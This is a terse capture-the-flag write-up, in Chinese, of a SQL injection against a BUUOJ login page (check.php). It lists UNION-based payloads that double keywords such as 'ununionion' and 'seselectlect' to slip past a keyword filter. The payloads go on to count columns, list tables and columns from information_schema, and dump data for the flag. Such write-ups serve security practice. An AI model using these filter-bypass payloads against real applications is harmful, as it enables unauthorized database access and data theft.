http://22f1ff0a-6a62-4a14-8f07-0c6e59e67af3.node3.buuoj.cn/check.php?username=admin' oorrdorer bbyy 1,2,3,4,5%23&password=pwd
查询列数3列
?username=2131232131' ununionion seselectlect 1,2,3%23&password=pwd得到回显位置2与3
?username=2131232131' ununionion seselectlect 1,database(),table_name frfromom infoorrmation_schema.tables whwhereere table_schema=database()%23&password=pwd
得到表名和列名
?username=2131232131' ununionion seselectlect 1,database(),group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'%23&password=pwd
得到字段名
爆数据得到flag
